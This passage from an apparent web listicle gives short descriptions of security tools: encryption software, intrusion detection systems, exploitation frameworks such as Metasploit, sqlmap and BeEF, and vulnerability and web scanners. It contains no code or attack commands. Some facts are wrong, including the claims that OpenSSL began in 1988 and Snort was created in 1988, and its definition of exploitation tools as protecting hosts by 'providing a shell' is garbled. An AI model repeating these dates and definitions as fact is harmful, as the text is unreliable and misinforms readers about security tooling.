It an open source encryption tool available on both UNIX and Windows operating system. It is a free implementation of SSH (Secure Shell) and Telnet for both Windows as well as UNIX. The beauty of this tool is that it supports many network protocols like Telnet, SCP, rlogin, SSH and raw socket connection. The word PuTTY has no specific meaning, however as in UNIX tradition, tty is a terminal name.

OpenSSL

OpenSSL is an open source encryption tool which implements the TLS and SSL protocols. OpenSSL’s core library is written in the C programming language. The fundamental cryptographic functions are implemented by it. OpenSSL versions are available for operating systems like UNIX, Solaris, Linux and Mac OS X. The project was undertaken in 1988 with the objective of inventing free encryption tools for the programs being used on the internet.

Tor

Tor is a free encryption tool and has the capability to provide online anonymity as well as censorship resistance. Internal traffic is directed through a free network which consists of more than five thousand relays so that the user’s actual location can be hidden. It is difficult to track the Internet activities like visiting websites and instant messages; the most important goal of this tool is to ensure the personal privacy of the users.

OpenVPN

It is an open source tool for the implementation of virtual private network techniques so that secure site-to-site or point-to-point connections using routers or bridges are possible, also remote access is possible. OpenVPN offers the users a secure authentication process by using secret keys which are pre-shared.

Stunnel

Stunnel is a multi-platform open source tool which is used to ensure that both the clients and the servers get secured encrypted connections. This encryption software can operate on a number of operating system platforms like Windows as well as all operating systems which are UNIX-like. Stunnel depends upon a distinct library like SSLeay or OpenSSL to implement the protocols (SSL or TLS)

KeePass

KeePass is an open source as well as a free password management tool for the Microsoft Windows as well as unofficial ports for operating systems such as iOS, Linux, Android, Mac OS X and Windows Phone. All the usernames, passwords, and all other fields are stored by KeePass in a secured encrypted database. This database, in turn, is protected by a single password.

Intrusion Detection System And The IDS Tools

An Intrusion Detection System is a software application or a device which is equipped to do network or system monitoring activities for any malicious threats and sends reports to the management station. Intrusion detection tools can help in identifying potential threats which can be dangerous for the system or the network.

Snort

It is an open source Network Intrusion System as well as a Network Intrusion Prevention System which is free for all to use. It was created in 1988 by Martin Roesch. It has the capability to perform packet logging and analysis of real-time traffic on networks which are using the internet protocol.

NetCop

NetCop is an advanced intrusion detection system which is available practically everywhere. NetCop makes use of a specific method to classify the spyware. This is because there are several software programs which intrude your privacy and which have a different kind of capabilities. NetCop gives a distinct threat level to each program, thus classifying the threats.

Hacking Vulnerability Exploitation Tools

A tool which identifies whether a remote host is vulnerable to a security attack and tries to protect the host by providing a shell or other function remotely is called a Vulnerability Exploitation tool. Here is a list of some o the popular ones:

Metasploit

Metasploit was released in the year 2004 and it was an instant hit in the world of computer security. Metasploit provides data on the vulnerabilities in the security system and it helps in conducting penetration testing too.

Sqlmap

It is a penetration testing tool which is available as an open source. Its goal is to automate the detection and exploitation process of the injection flaws in SQL and to take over the database servers.

Sqlninja

The main objective of this tool is to access a vulnerable DB server; it's used for pen testing so that the procedure of controlling a DB server can be automated when the vulnerability of an SQL injection has been tracked.

Social Engineer Toolkit

This toolkit also known as SET was designed by TrustedSec. The tool comes as an open source code and is Python driven. It is used for conducting Penetration Testing around Social Engineer.

NetSparker

It is a web-based security scanner which has an exploitation engine to confirm the security vulnerabilities and makes the user concentrate on elimination of security threats with its False-Positive free feature.

BeEF

BeEF is the short term for The Browser Exploitation Framework. It is a tool for penetration testing which concentrates on a web browser and thus accesses the actual security position of the environment it’s targeting.

Dradis

Dradis stands for Direction, Range, and Distance. It is an open source vulnerability scanner or application which provides the facility of information sharing effectively, especially during assessing the security of the system in a central repository.

Vulnerability Scanners

The scanners which assess the vulnerability of a network or a computer to security attacks are known as Vulnerability Scanners. The tools might function differently, however, all of them aim to provide an analysis on how vulnerable the system or a network is. Here is a list of the best ones:

Nessus

Nessus is the world’s most popular vulnerable scanner topping the list in the years 2000, 2003 and in the year 2006 survey on security tools. It's free to use vulnerability scanner for personal use in the nonenterprise environment.

OpenVAS

This scanner is tipped by many to be the most advanced vulnerability scanner in the world and is a powerful and comprehensive tool for scanning as well as providing solutions for vulnerability management. It is free software and is maintained daily.

Nipper

It is a parser for network infrastructure and its full form is Network Infrastructure Parser. This open source scanner helps with features like auditing, configuring and managing devices for network infrastructure as well as managing the computer networks.

Secunia PSI

It is free computer security software which scans software on a computer system. It tracks those third party/non-Microsoft programs which require security updates to protect your computer against hackers and cyber-criminals.

Retina

Retina, with more than 10,000 deployments, is one of the most sophisticated vulnerability scanners in the market. It aids in efficient identifications of IT vulnerability and is also available as a standalone application as well. It essentially identifies weaknesses in the configuration and missing patches.

QualysGuard

It is a vulnerability management scanner which provides solutions for vulnerability management by applications through the web. Designed by Qualys Inc., it's available on demand. It helps the users by analyzing their vulnerability status.

Nexpose

Vulnerability management is one of the best security practices to protect the system or a network from security threats. Nexpose is a vulnerability management scanner which does different kind of vulnerability checks where there's a risk in IT security.

Web Vulnerability Scanners

While vulnerability scanners are meant for your system, the web vulnerability scanners assess the vulnerability of web applications. It identifies the security vulnerabilities that your app might have by conducting various tests.

Burp Suite

Burp Suite is a tool for conducting the security test of web-based applications. It has a collection of tools which work together and conduct the entire process of testing with an objective to find as well as exploit the vulnerabilities in the security.

Webscarab

It is a testing tool for web security applications and has been written in Java and thus is operating system independent. It acts as a proxy and lets users change web requests by web browsers and web server replies. Webscarab often records the traffic to conduct a further review.

Websecurify

Website security is a crucial factor for both personal as well as organization websites. The prime goal should be to detect the vulnerability of your website before an intruder detects it. Websecurify is a testing tool for website security and can be used to detect the vulnerability of your webs

Nikto

It is a scanner for web servers and is available as an open source. It conducts detailed testing for several items against the web servers which include testing of more than 6700 files or programs which can be dangerous. It also tests for version specific problems of the web servers.

W3af

This tool exposes more than 200 potential vulnerabilities and thus minimizes security threats to your websites. It's written in the programming language Python. W3af has both console user interface as well as graphical user interface.

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